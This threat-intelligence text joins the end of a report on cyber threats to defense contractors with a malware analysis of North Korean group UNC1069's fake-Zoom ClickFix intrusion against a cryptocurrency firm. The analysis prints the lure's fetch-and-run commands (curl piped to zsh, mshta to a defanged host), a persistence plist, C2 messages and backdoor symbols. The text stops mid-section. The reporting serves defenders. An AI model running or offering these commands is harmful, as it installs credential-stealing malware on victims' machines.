    The defense industrial base has been an important target for China-nexus threat actors for as long as cyber operations have been used for espionage. One of the earliest observed compromises attributed to the Chinese military’s APT1 group was a firm in the defense industrial sector in 2007. While historical campaigns by actors such as APT40 have at times shown hyper-specific focus in sub-sectors of defense, such as maritime related technologies, in general the areas of defense targeting from China-nexus groups has spanned all domains and supply chain layers. Alongside this focus on defense systems and contractors, Chinese cyber espionage groups have steadily improved their tradecraft over the past several years, increasing the risk to this sector. 

    GTIG has observed more China-nexus cyber espionage missions directly targeting defense and aerospace industry than from any other state-sponsored actors over the last two years. China-nexus espionage actors have used a broad range of tactics in operations, but the hallmark of many operations has been their exploitation of edge devices to gain initial access. We have also observed China-nexus threat groups leverage ORB networks for reconnaissance against defense industrial targets, which complicates detection and attribution.

    Edge vs. not edge 0-days likely exploited by CN actors 2021

    Figure 8: Edge vs. not edge zero-days likely exploited by CN actors 2021 — September 2025

    Drawing from both direct observations and open-source research, GTIG assesses with high confidence that since 2020, Chinese cyber espionage groups have exploited more than two dozen zero-day (0-day) vulnerabilities in edge devices (devices that are typically placed at the edge of a network and often do not support EDR monitoring, such as VPNs, routers, switches, and security appliances) from ten different vendors. This observed emphasis on exploiting 0-days in edge devices likely reflects an intentional strategy to benefit from the tactical advantages of reduced opportunities for detection and increased rates of successful compromises.

    While we have observed exploitation spread to multiple threat groups soon after disclosure, often the first Chinese cyber espionage activity sets we discover exploiting an edge device 0-day, such as UNC4841, UNC3886, and UNC5221, demonstrate extensive efforts to obfuscate their activity in order to maintain long-term access to targeted environments. Notably, in recent years, both UNC3886 and UNC5221 operations have directly impacted the defense sector, among other industries. 

    • UNC3886 is one of the most capable and prolific China-nexus threat groups GTIG has observed in recent years. While UNC3886 has targeted multiple sectors, their early operations in 2022 had a distinct focus on aerospace and defense entities. We have observed UNC3886 employ 17 distinct malware families in operations against DIB targets. Beyond aerospace and defense targets, UNC3886 campaigns have been observed impacting the telecommunications and technology sectors in the US and Asia.   

    • UNC5221 is a sophisticated, suspected China-nexus cyber espionage actor characterized by its focus on exploiting edge infrastructure to penetrate high-value strategic targets. The actor demonstrates a distinct operational preference for compromising perimeter devices—such as VPN appliances and firewalls—to bypass traditional endpoint detection, subsequently establishing persistent access to conduct long-term intelligence collection. Their observed targeting profile is highly selective, prioritizing entities that serve as "force multipliers" for intelligence gathering, such as managed service providers (MSPs), law firms, and central nodes in the global technology supply chain. The BRICKSTORM malware campaign uncovered in 2025, which we suspect was conducted by UNC5221, was notable for its stealth, with an average dwell time of 393 days. Organizations that were impacted spanned multiple sectors but included aerospace and defense. 

    In addition to these two groups, GTIG has analysed other China-nexus groups impacting the defense sector in recent years. 

    UNC3236 Observed Targeting U.S. Military and Logistics Portal

    In 2024, GTIG observed reconnaissance activity associated with UNC3236 (linked to Volt Typhoon) against publicly hosted login portals of North American military and defense contractors, and U.S. and Canadian government domains related to North American infrastructure. The activity leveraged the ARCMAZE obfuscation network to obfuscate its origin. Netflow analysis revealed communication with SOHO routers outside the ARCMAZE network, suggesting an additional hop point to hinder tracking. Targeted entities included a Drupal web login portal used by defense contractors involved in U.S. military infrastructure projects. 

    UNC6508 Search Terms Indicate Interest in Defense Contractors and Military Platforms

    In late 2023, China-nexus threat cluster UNC6508 targeted a US-based research institution through a multi-stage attack that leveraged an initial REDCap exploit and custom malware named INFINITERED. This malware is embedded within a trojanized version of a legitimate REDCap system file and functions as a recursive dropper. It is capable of enabling persistent remote access and credential theft after intercepting the application's software upgrade process to inject malicious code into the next version's core files. 

    The actor used the REDCap system access to collect credentials to access the victim’s email platform filtering rules to collect information related to US national security and foreign policy (Figure 10). GTIG assesses with low confidence that the actors likely sought to fulfill a set of intelligence collection requirements, though the nature and intended focus of the collection effort are unknown.

    Categories of UNC6508 email forwarding triggers

    Figure 9: Categories of UNC6508 email forwarding triggers

    By August 2025, the actors leveraged credentials obtained via INFINITERED to access the institution's environment with legitimate, compromised administrator credentials. They abused the tenant compliance rules to dynamically reroute messages based on a combination of keywords and or recipients. The actors modified an email rule to BCC an actor-controlled email address if any of 150 regex-defined search terms or email addresses appeared in email bodies or subjects, thereby facilitating data exfiltration by forwarding any email that contained at least one of the terms related to US national security, military equipment and operations, foreign policy, and medical research, among others. About a third of the keywords referenced a military system or a defense contractor, with a notable amount related to UAS or counter-UAS systems.

    4. Hack, Leak, and Disruption of the Manufacturing Supply Chain

    Extortion operations continue to represent the most impactful cyber crime threat globally, due to the prevalence of the activity, the potential for disrupting business operations, and the public disclosure of sensitive data such as personally identifiable information (PII), intellectual property, and legal documents. Similarly, hack-and-leak operations conducted by geopolitically and ideologically motivated hacktivist groups may also result in the public disclosure of sensitive data. These data breaches can represent a risk to defense contractors via loss of intellectual property, to their employees due to the potential use of PII for targeting data, and to the defense agencies they support. Less frequently, both financially and ideologically motivated threat actors may conduct significant disruptive operations, such as the deployment of ransomware on operational technology (OT) systems or distributed-denial-of-service (DDoS) attacks.

    Cyber Crime Activity Impacting the Defense Industrial Base and Broader Manufacturing and Industrial Supply Chain

    While dedicated aerospace & defense organizations represent only about 1% of victims listed on data leak sites (DLS) in 2025, manufacturing organizations, many of which directly or indirectly support defense contracts, have consistently represented the largest share of DLS listings by count (Figure 11). This broader manufacturing sector includes companies that may provide dual-use components for defense applications. For example, a significant 2025 ransomware incident affecting a UK automotive manufacturer, who also produces military vehicles, disrupted production for weeks and reportedly affected more than 5,000 additional organizations. This highlights the cyber risk to the broader industrial supply chain supporting the defense capacity of a nation, including the ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks.

    Percent of DLS victims in the manufacturing industry by quarter

    Figure 10: Percent of DLS victims in the manufacturing industry by quarter

    Threat actors also regularly share and/or advertise illicit access to or stolen data from aerospace and defense sector organizations. For example, the persona “miyako,” who has been active on multiple underground forums based on the use of the same username and Session ID, has advertised access to multiple, unnamed, defense contractors over time (Figure 11). While defense contractors are likely not attractive targets for many cyber criminals, given that these organizations typically maintain a strong security posture, a small subset of financially motivated actors may disproportionately target the industry due to dual motivations, such as a desire for notoriety or ideological motivations. For example, the BreachForums actor “USDoD” regularly shared or advertised access to data claimed to have been stolen from prominent defense-related organizations. In a bizarre 2023 interview, USDoD claimed the threat was misdirection and that they were actually targeting a consulting firm, NATO, CEPOL, Europol, and Interpol. USDoD further indicated that they had a personal vendetta and were not motivated by politics. In October 2024, Brazilian authorities arrested an individual accused of being USDoD.

    Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

    Figure 11: Advertisement for “US Navy / USAF / USDoD Engineering Contractor”

    Hacktivist Operations Targeting the Defense Industrial Base

    Pro-Russia and pro-Iran hacktivism operations at times extend beyond simple nuisance-level attacks to high-impact operations, including data leaks and operational disruptions. Unlike financially motivated activity, these campaigns prioritize the exposure of sensitive military schematics and personal personnel data—often through "hack-and-leak" tactics—in an attempt to erode public trust, intimidate defense officials, and influence geopolitical developments on the ground. Robust geopolitically motivated hacktivist activity works not only to advance state interests but also can serve to complicate attribution of threat activity from state-backed actors, which are known to leverage hacktivist tactics for their own ends.

    Notable 2025 hacktivist claims allegedly involving the defense industrial base

    Figure 12: Notable 2025 hacktivist claims allegedly involving the defense industrial base

    Pro-Russia Hacktivism Activity

    Pro-Russia hacktivist actors have collectively dedicated a notable portion of their threat activity to targeting entities associated with Ukraine’s and Western countries’ militaries and in their defense sectors. As we have previously reported, GTIG observed a revival and intensification of activity within the pro-Russia hacktivist ecosystem in response to the launch of Russia’s full-scale invasion of Ukraine in February 2022. The vast majority of pro-Russia hacktivist activity that we have subsequently tracked has likewise appeared intended to advance Russia’s interests in the war. As with the targeting of other high-profile organizations, at least some of this activity appeared primarily intended to generate media attention. However, a review of the related threat activity observed in 2025 also suggest that actors targeting military/defense sectors had more diverse objectives, including seeding influence narratives, monetizing claimed access, and influencing developments on the ground. Some observed attack/targeting trends over the last year include the following:

    • DDoS Attacks: Multiple pro-Russia hacktivist groups have claimed distributed denial-of-service (DDoS) attacks targeting government and private organizations involved in defense. This includes multiple such attacks claimed by the group NoName057(16), which has prolifically leveraged DDoS attacks to attack a range of targets. While this often may be more nuisance-level activity, it demonstrates at the most basic level how defense sector targeting is a part of hacktivist threat activity that is broadly oriented toward targeting entities in countries that support Ukraine. 

    • Network Intrusion: In limited instances, pro-Russia groups claimed intrusion activity targeting private defense-sector organizations. Often this was in support of hack and leak operations. For example, in November 2025, the group PalachPro claimed to have targeted multiple Italian defense companies, alleging that they exfiltrated sensitive data from their networks—in at least one instance, PalachPro claimed it would sell this data; that same month, the group Infrastructure Destruction Squad claimed to have launched an unsuccessful attack targeting a major US arms producer.  

    • Document Leaks: A continuous stream of claimed or otherwise implied hack and leak operations has targeted the Ukrainian military and the government and private organizations that support Ukraine. Beregini and JokerDNR (aka JokerDPR) are two notable pro-Russia groups engaged in this activity, both of which regularly disseminate documents that they claim are related to the administration of Ukraine’s military, coordination with Ukraine’s foreign partners, and foreign weapons systems supplied to Ukraine. GTIG cannot confirm the potential validity of all the disseminated documents, though in at least some instances the sensitive nature of the documents appears to be overstated. 

      • Often, Beregini and JokerDNR leverage this activity to promote anti-Ukraine narratives, including those that appear intended to reduce domestic confidence in the Ukrainian government by alleging things like corruption and government scandals, or that Ukraine is being supplied with inferior equipment

    Pro-Iran Hacktivism Activity

    Pro-Iran hacktivist threat activity targeting the defense sector has intensified significantly following the onset of the Israel-Hamas conflict in October 2023. These operations are characterized by a shift from nuisance-level disruptive attacks to sophisticated "hack-and-leak" campaigns, supply chain compromises, and aggressive psychological warfare targeting military personnel. Threat actors such as Handala Hack, Cyber Toufan, and the Cyber Isnaad Front have prioritized the Israeli defense industrial base—compromising manufacturers, logistics providers, and technology firms to expose sensitive schematics, personnel data, and military contracts. The objective of these campaigns is not merely disruption but the degradation of Israel’s national security apparatus through the exposure of military capabilities, the intimidation of defense sector employees via "doxxing," and the erosion of public trust in the security establishment. 

    • The pro-Iran persona Handala Hack, which GTIG has observed publicize threat activity associated with UNC5203, has consistently targeted both the Israeli Government, as well as its supporting military-industrial complex. Threat activity attributed to the persona has primarily consisted of hack-and-leak operations, but has increasingly incorporated doxxing and tactics designed to promote fear, uncertainty, and doubt (FUD). 

      • On the two-year anniversary of al-Aqsa Flood, the day which Hamas-led militants attacked Israel, Handala launched “Handala RedWanted,” an actor-controlled website supporting a concerted doxxing/intimidation campaign targeting members of Israel’s Armed Forces, its intelligence and national security apparatus, and both individuals and organizations the group claims to comprise Israel’s military-industrial complex. 

      • Following the announcement of RedWanted, the persona has recently signaled an expansion of its operations vis-a-vis the launch of “Handala Alert.” Significant in terms of a potential expansion in the group’s external targeting calculus, which has long prioritized Israel, is a renewed effort by Handala to “support anti-regime activities abroad.” 

    • Ongoing campaigns such as those attributed to the Pro-Iran personas Cyber Toufan (UNC5318) and الجبهة الإسناد السيبرانية (Cyber Isnaad Front) are additionally demonstrative of the broader ecosystem’s longstanding prioritization of the defense sector. 

      • Leveraging a newly-established leak channel on Telegram (ILDefenseLeaks), Cyber Toufan has publicized a number of operations targeting Israel’s military-industrial sector, most of which the group claims to have been the result of a supply chain compromise resulting from its breach of network infrastructure associated with an Israeli defense contractor. According to Cyber Toufan, access to this contractor resulted in the compromise of at least 17 additional Israeli defense contractor organizations.

      • While these activities have prioritized the targeting of Israel specifically, claimed operations have in limited instances impacted other countries. For example, recent threat activity publicized by Cyber Isnaad Front also surrounding the alleged compromise of the aforementioned Israeli defense contractor leaked information involving reported plans by the Australian Defense Force to purchase Spike NLOS anti-tank missiles from Israel

    Conclusion 

    Given global efforts to increase defense investment and develop new technologies the security of the defense sector is more important to national security than ever. Actors supporting nation state objectives have interest in the production of new and emerging defense technologies, their capabilities, the end customers purchasing them, and potential methods for countering these systems. Financially motivated actors carry out extortion against this sector and the broader manufacturing base like many of the other verticals they target for monetary gain. 

    While specific risks vary by geographic footprint and sub-sector specialization, the broader trend is clear: the defense industrial base is under a state of constant, multi-vector siege. The campaigns against defense contractors in Ukraine, threats to or exploitation of defense personnel, the persistent volume of intrusions by China-nexus actors, and the hack, leak, and disruption of the manufacturing base are some of the leading threats to this industry today. To maintain a competitive advantage, organizations must move beyond reactive postures. By integrating these intelligence trends into proactive threat hunting and resilient architecture, the defense sector can ensure that the systems protecting the nation are not compromised before they ever reach the field.

    UNC1069 Targets Cryptocurrency Sector with New Tooling and AI-Enabled Social Engineering

    9 February 2026 at 15:00

    Written by: Ross Inman, Adrian Hernandez


    Introduction

    North Korean threat actors continue to evolve their tradecraft to target the cryptocurrency and decentralized finance (DeFi) verticals. Mandiant recently investigated an intrusion targeting a FinTech entity within this sector, attributed to UNC1069, a financially motivated threat actor active since at least 2018. This investigation revealed a tailored intrusion resulting in the deployment of seven unique malware families, including a new set of tooling designed to capture host and victim data: SILENCELIFT, DEEPBREATH and CHROMEPUSH. The intrusion relied on a social engineering scheme involving a compromised Telegram account, a fake Zoom meeting, a ClickFix infection vector, and reported usage of AI-generated video to deceive the victim.

    These tactics build upon a shift first documented in the November 2025 publication GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools where Google Threat Intelligence Group (GTIG) identified UNC1069's transition from using AI for simple productivity gains to deploying novel AI-enabled lures in active operations. The volume of tooling deployed on a single host indicates a highly determined effort to harvest credentials, browser data, and session tokens to facilitate financial theft. While UNC1069 typically targets cryptocurrency startups, software developers, and venture capital firms, the deployment of multiple new malware families alongside the known downloader SUGARLOADER marks a significant expansion in their capabilities.

    Initial Vector and Social Engineering 

    The victim was contacted via Telegram through the account of an executive of a cryptocurrency company that had been compromised by UNC1069. Mandiant identified claims from the true owner of the account, posted from another social media profile, where they had posted a warning to their contacts that their Telegram account had been hijacked; however, Mandiant was not able to verify or establish contact with this executive. UNC1069 engaged the victim and, after building a rapport, sent a Calendly link to schedule a 30-minute meeting. The meeting link itself directed to a spoofed Zoom meeting that was hosted on the threat actor's infrastructure, zoom[.]uswe05[.]us

    The victim reported that during the call, they were presented with a video of a CEO from another cryptocurrency company that appeared to be a deepfake. While Mandiant was unable to recover forensic evidence to independently verify the use of AI models in this specific instance, the reported ruse is similar to a previously publicly reported incident with similar characteristics, where deepfakes were also allegedly used.

    Once in the "meeting," the fake video call facilitated a ruse that gave the impression to the end user that they were experiencing audio issues. This was employed by the threat actor to conduct a ClickFix attack: an attack technique where the threat actor directs the user to run troubleshooting commands on their system to address a purported technical issue. The recovered web page provided two sets of commands to be run for "troubleshooting": one for macOS systems, and one for Windows systems. Embedded within the string of commands was a single command that initiated the infection chain. 

    Mandiant has observed UNC1069 employing these techniques to target both corporate entities and individuals within the cryptocurrency industry, including software firms and their developers, as well as venture capital firms and their employees or executives. This includes the use of fake Zoom meetings and a known use of AI tools by the threat actor for editing images or videos during the social engineering stage. 

    UNC1069 is known to use tools like Gemini to develop tooling, conduct operational research, and assist during the reconnaissance stages, as reported by GTIG. Additionally, Kaspersky recently claimed Bluenoroff, a threat actor that overlaps with UNC1069, is also using GTP-4o models to modify images indicating adoption of GenAI tools and integration of AI into the adversary lifecycle.

    Infection Chain 

    In the incident response engagement performed by Mandiant, the victim executed the "troubleshooting" commands provided in Figure 1, which led to the initial infection of the macOS device.

    system_profiler SPAudioData
    softwareupdate --evaluate-products --products audio --agree-to-license
    curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
    system_profiler SPSoundCardData
    softwareupdate --evaluate-products --products soundcard
    system_profiler SPSpeechData
    softwareupdate --evaluate-products --products speech --agree-to-license

    Figure 1: Attacker commands shared during the social engineering stage

    A set of "troubleshooting" commands that targeted Windows operating systems was also recovered from the fake Zoom call webpage:

    setx audio_volume 100
    pnputil /enum-devices /connected /class "Audio"
    mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
    wmic sounddev get Caption, ProductName, DeviceID, Status
    msdt -id AudioPlaybackDiagnostic
    exit

    Figure 2: Attacker commands shared when Windows is detected

    Evidence of AppleScript execution was recorded immediately following the start of the infection chain; however, contents of the AppleScript payload could not be recovered from the resident forensic artifacts on the system. Following the AppleScript execution a malicious Mach-O binary was deployed to the system. 

    The first malicious executable file deployed to the system was a packed backdoor tracked by Mandiant as WAVESHAPER. WAVESHAPER served as a conduit to deploy a downloader tracked by Mandiant as HYPERCALL as well as subsequent additional tooling to considerably expand the adversary's foothold on the system. 

    Mandiant observed three uses of the HYPERCALL downloader during the intrusion: 

    1. Execute a follow-on backdoor component, tracked by Mandiant as HIDDENCALL, which provided hands-on keyboard access to the compromised system

    2. Deploy another downloader, tracked by Mandiant as SUGARLOADER

    3. Facilitate the execution of a toehold backdoor, tracked by Mandiant as SILENCELIFT, which beacons system information to a command-and-control (C2 or C&C) server

    Attack chain

    Figure 3: Attack chain

    XProtect 

    XProtect is the built-in anti-virus technology included in macOS. Originally relying on signature-based detection only, the XProtect Behavioral Service (XBS) was introduced to implement behavioral-based detection. If a program violates one of the behavioral-based rules, which are defined by Apple, information about the offending program is recorded in the XProtect Database (XPdb), an SQLite 3 database located at /var/protected/xprotect/XPdb.

    Unlike signature-based detections, behavioral-based detections do not result in XProtect blocking execution or quarantining of the offending program. 

    Mandiant recovered the file paths and SHA256 hashes of programs that had violated one or more of the XBS rules from the XPdb. This included information on malicious programs that had been deleted and could not be recovered. As the XPdb also includes a timestamp of the detection, Mandiant could determine the sequence of events associated with malware execution, from the initial infection chain to the next-stage malware deployments, despite no endpoint detection and response (EDR) product being present on the compromised system. 

    Data Harvesting and Persistence

    Mandiant identified two disparate data miners that were deployed by the threat actor during their access period: DEEPBREATH and CHROMEPUSH. 

    DEEPBREATH, a data miner written in Swift, was deployed via HIDDENCALL—the follow-on backdoor component to HYPERCALL. DEEPBREATH manipulates the Transparency, Consent, and Control (TCC) database to gain broad file system access, enabling it to steal:

    1. Credentials from the user's Keychain

    2. Browser data from Chrome, Brave, and Edge

    3. User data from two different versions of Telegram

    4. User data from Apple Notes

    DEEPBREATH stages the targeted data in a temporary folder location and compresses the data into a ZIP archive, which was exfiltrated to a remote server via the curl command-line utility. 

    Mandiant also identified HYPERCALL deployed an additional malware loader, tracked as part of the code family SUGARLOADER. A persistence mechanism was installed in the form of a launch daemon for SUGARLOADER, which configured the system to execute the malware during the macOS startup process. The launch daemon was configured through a property list (Plist) file, /Library/LaunchDaemons/com.apple.system.updater.plist. The contents of the launch daemon Plist file are provided in Figure 4.

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
    	<key>Label</key>
    	<string>com.apple.system.updater</string>
    	<key>ProgramArguments</key>
    	<array>
    	<string>/Library/OSRecovery/SystemUpdater</string>
    	</array>
    	<key>RunAtLoad</key>
     	<true/>
    	<key>KeepAlive</key>
    	<false/>
    	<key>ExitTimeOut</key>
    	<integer>10</integer>
    </dict>
    </plist>

    Figure 4: Launch daemon Plist configured to execute SUGARLOADER

    The SUGARLOADER sample recovered during the investigation did not have any internal functionality for establishing persistence; therefore, Mandiant assesses the launch daemon was created manually via access granted by one of the other malicious programs.

    Mandiant observed SUGARLOADER was solely used to deploy CHROMEPUSH, a data miner written in C++. CHROMEPUSH deployed a browser extension to Google Chrome and Brave browsers that masqueraded as an extension purposed for editing Google Docs offline. CHROMEPUSH additionally possessed the capability to record keystrokes, observe username and password inputs, and extract browser cookies, completing the data harvesting on the host.

    In the Spotlight: UNC1069

    UNC1069 is a financially motivated threat actor that is suspected with high confidence to have a North Korea nexus and that has been tracked by Mandiant since 2018. Mandiant has observed this threat actor evolve its tactics, techniques, and procedures (TTPs), tooling, and targeting. Since at least 2023, the group has shifted from spear-phishing techniques and traditional finance (TradFi) targeting towards the Web3 industry, such as centralized exchanges (CEX), software developers at financial institutions, high-technology companies, and individuals at venture capital funds. Notably, while UNC1069 has had a smaller impact on cryptocurrency heists compared to other groups like UNC4899 in 2025, it remains an active threat targeting centralized exchanges and both entities and individuals for financial gain.

    UNC1069 victimology map

    Figure 5: UNC1069 victimology map

    Mandiant has observed this group active in 2025 targeting the financial services and the cryptocurrency industry in payments, brokerage, staking, and wallet infrastructure verticals. 

    While UNC1069 operators have targeted both individuals in the Web3 space and corporate networks in these verticals, UNC1069 and other suspected Democratic People's Republic of Korea (DPRK)-nexus groups have demonstrated the capability to move from personal to corporate devices using different techniques in the past. However, for this particular incident, Mandiant noted an unusually large amount of tooling dropped onto a single host targeting a single individual. This evidence confirms this incident was a targeted attack to harvest as much data as possible for a dual purpose; enabling cryptocurrency theft and fueling future social engineering campaigns by leveraging victim’s identity and data.

    Subsequently, Mandiant identified seven distinct malware families during the forensic analysis of the compromised system, with SUGARLOADER being the only malware family already tracked by Mandiant prior to the investigation.

    Technical Appendix

    WAVESHAPER

    WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.

    WAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects the following system information, which is sent to the C&C server in a HTTP POST request:

    • Random victim UID (16 alphanumeric chars)

    • Victim username

    • Victim machine name

    • System time zone

    • System boot time using sysctlbyname("kern.boottime")

    • Recently installed software

    • Hardware model

    • CPU information

    • OS version

    • List of the running processes

    Payloads downloaded from the C&C server are saved to a file system location matching the following regular expression pattern: /tmp/\.[A-Za-z0-9]{6}.

    HYPERCALL

    HYPERCALL is a Go-based downloader designed for macOS that retrieves malicious dynamic libraries from a designated C&C server. The C&C address is extracted from an RC4-encrypted configuration file that must be present on the disk alongside the binary. Once downloaded, the library is reflectively loaded for in-memory execution.

    Mandiant observed recognizable influences from SUGARLOADER in HYPERCALL, despite the new downloader being written in a different language (Golang instead of C++) and having a different development process. These similarities include the use of an external configuration file for the C&C infrastructure, the use of the RC4 algorithm for configuration file decryption, and the capability for reflective library injection.

    Notably, some elements in HYPERCALL appear to be incomplete. For instance, the presence of configuration parameters that are of no use reveals a lack of technical proficiency by some of UNC1069's malware developers compared to other North Korea-nexus threat actors.

    HYPERCALL accepts a single command-line argument to which it expects a C&C host to connect. This command is then saved to the configuration file located at /Library/SystemSettings/.CacheLogs.db. HYPERCALL also leverages a hard-coded 16-byte RC4 key to decrypt the data stored within the configuration file, a pattern observed within other UNC1069 malware families. 

    The HYPERCALL configuration instructed the downloader to communicate with the following C&C servers on TCP port 443:

    • wss://supportzm[.]com
    • wss://zmsupport[.]com

    Once connected, the HYPERCALL registers with the C&C using the following message expecting a response message of 1:

    {
        "type": "loader",
        "client_id": <client_id>
    }

    Figure 6: Registration message sent to the C&C server

    Once the HYPERCALL has registered with the C&C server, it sends a dynamic library download request:

    {
        "type": "get_binary",
        "system": "darwin"
    }

    Figure 7: Dynamic library download request message sent to the C&C server

    The C&C server responds to the request with information on the dynamic library to download, followed by the dynamic library content:

    {
        "type": <unknown>,
        "total_size": <total_size>
    }

    Figure 8: Dynamic library download response message received by the C&C server

    The C&C server informs the HYPERCALL client all of the dynamic library content has been sent via the following message:

    {
        "type": "end_chunks"
    }

    Figure 9: Message sent by the C&C server to mark the end of the dynamic library content

    After receiving the dynamic library, HYPERCALL sends a final acknowledgement message:

    {
        "type": "down_ok"
    }

    Figure 10: Final acknowledgement message sent by HYPERCALL to the C&C server

    HYPERCALL then waits for three seconds before executing the downloaded dynamic library in-memory using reflective loading.

    HIDDENCALL

    We assess with high confidence that UNC1069 utilizes the HYPERCALL downloader and HIDDENCALL backdoor as components of a single, synchronized attack lifecycle. 

    This assessment is supported by forensic observations of HYPERCALL downloading and reflectively injecting HIDDENCALL into system memory. Furthermore, technical examination revealed significant code overlaps between the HYPERCALL Golang binary and HIDDENCALL's Ahead-of-Time (AOT) translation files. Both families utilize identical libraries and follow a distinct "t_" naming convention for functions (such as t_loader and t_), strongly suggesting a unified development environment and shared tradecraft. The use of this custom, integrated tooling suite highlights UNC1069's technical proficiency in developing specialized capabilities to bypass security measures and secure long-term persistence in target networks.

    Rosetta Cache Analysis

    Mandiant has previously documented how files from the Rosetta cache can be used to prove program execution, as well as how malware identification can be possible through analysis of the symbols present in the AOT translation files.

    HYPERCALL leveraged the NSCreateObjectFileImageFromMemory API call to reflectively load a follow-on backdoor component from memory. When NSCreateObjectFileImageFromMemory is called, the executable file that is to be loaded from memory is temporarily written to disk under the /tmp/ folder, with the filename matching the regular expression pattern NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}

    This intrinsic behaviour, combined with the HIDDENCALL payload being compiled for x86_64 architecture, resulted in the creation of a Rosetta cache AOT file for the reflectively loaded Mach-O executable. Through analysis of the Rosetta cache file, Mandiant was able to assess with high confidence that the reflectively loaded Mach-O executable was the follow-on backdoor component, also written in Golang, that Mandiant tracks as HIDDENCALL. 

    Listed in Figure 11 through Figure 14 are the symbols and project file paths identified from the AOT file associated with HIDDENCALL execution, as well as the HYPERCALL sample analysed by Mandiant, which were used to assess the functionality of HIDDENCALL.

    _t/common.rc4_encode
    _t/common.resolve_server
    _t/common.load_config
    _t/common.save_config
    _t/common.generate_uid
    _t/common.send_data
    _t/common.send_error_message
    _t/common.get_local_ip
    _t/common.get_info
    _t/common.rsp_get_info
    _t/common.override_env
    _t/common.exec_command_with_timeout
    _t/common.exec_command_with_timeout.func1
    _t/common.rsp_exec_cmd
    _t/common.send_file
    _t/common.send_file.deferwrap1
    _t/common.add_file_to_zip
    _t/common.add_file_to_zip.deferwrap1
    _t/common.zip_file
    _t/common.zip_file.func1
    _t/common.zip_file.deferwrap2
    _t/common.zip_file.deferwrap1
    _t/common.rsp_zdn
    _t/common.rsp_dn
    _t/common.receive_file
    _t/common.receive_file.deferwrap1
    _t/common.unzipFile
    _t/common.unzipFile.deferwrap1
    _t/common.rsp_up
    _t/common.rsp_inject_explorer
    _t/common.rsp_inject
    _t/common.wipe_file
    _t/common.rsp_wipe_file
    _t/common.send_cmd_result
    _t/common.rsp_new_shell
    _t/common.rsp_exit_shell
    _t/common.rsp_enter_shell
    _t/common.rsp_leave_shell
    _t/common.rsp_run
    _t/common.rsp_runx
    _t/common.rsp_test_conn
    _t/common.rsp_check_event
    _t/common.rsp_sleep
    _t/common.rsp_pv
    _t/common.rsp_pcmd
    _t/common.rsp_pkill
    _t/common.rsp_dir
    _t/common.rsp_state
    _t/common.rsp_get_cfg
    _t/common.rsp_set_cfg
    _t/common.rsp_chdir
    _t/common.get_file_property
    _t/common.get_file_property.func1
    _t/common.rsp_file_property
    _t/common.do_work
    _t/common.do_work.deferwrap1
    _t/common.Start
    _t/common.init_env
    _t/common.get_config_path
    _t/common.get_startup_path
    _t/common.get_launch_plist_path
    _t/common.get_os_info
    _t/common.get_process_uid
    _t/common.get_file_info
    _t/common.get_dir_entries
    _t/common.is_locked
    _t/common.check_event
    _t/common.change_dir
    _t/common.run_command_line
    _t/common.run_command_line.func1
    _t/common.copy_file
    _t/common.copy_file.deferwrap2
    _t/common.copy_file.deferwrap1
    _t/common.setup_startup
    _t/common.file_exist
    _t/common.session_work
    _t/common.exit_shell
    _t/common.restart_shell
    _t/common.start_shell_reader
    _t/common.watch_shell_output_loop
    _t/common.watch_shell_output_loop.func1
    _t/common.watch_shell_output_loop.func1.deferwrap1
    _t/common.exec_with_shell
    _t/common.start_shell_reader.func1
    _t/common.do_work.jump513
    _t/common.g_shoud_fork
    _t/common.CONFIG_CRYPT_KEY
    _t/common.g_conn
    _t/common.g_shell_cmd
    _t/common.g_shell_pty
    _t/common.stop_reader_chan
    _t/common.stop_watcher_chan
    _t/common.g_config_file_path
    _t/common.g_output_buffer
    _t/common.g_cfg
    _t/common.g_use_shell
    _t/common.g_working
    _t/common.g_out_changed
    _t/common.g_reason
    _t/common.g_outputMutex

    Figure 11: Notable Golang symbols from the HIDDENCALL AOT file analyzed by Mandiant

    t_loader/common
    t_loader/inject_mac
    t_loader/inject_mac._Cfunc_InjectDylibFromMemory
    t_loader/inject_mac.Inject
    t_loader/inject_mac.Inject.func1
    t_loader/common.rc4_encode
    t_loader/common.generate_uid
    t_loader/common.load_config
    t_loader/common.rc4_decode
    t_loader/common.save_config
    t_loader/common.resolve_server
    t_loader/common.receive_file
    t_loader/common.Start
    t_loader/common.check_server_urls
    t_loader/common.inject_pe
    t_loader/common.init_env
    t_loader/common.get_config_path

    Figure 12: Notable Golang symbols from the HYPERCALL AOT file analyzed by Mandiant

    /Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
    /Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

    Figure 13: Project file paths from the HIDDENCALL AOT file analyzed by Mandiant

    /Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
    /Users/mac/Documents/go_t/t_loader/common/common.go
    /Users/mac/Documents/go_t/t_loader/common/common_unix.go
    /Users/mac/Documents/go_t/t_loader/exe.go

    Figure 14: Project file paths from the HYPERCALL AOT file analyzed by Mandiant

    DEEPBREATH

    A new piece of macOS malware identified during the intrusion was DEEPBREATH, a sophisticated data miner designed to bypass a key component of macOS privacy: the Transparency, Consent, and Control (TCC) database. 

    Written in Swift, DEEPBREATH's primary purpose is to gain access to files and sensitive personal information.

    TCC Bypass

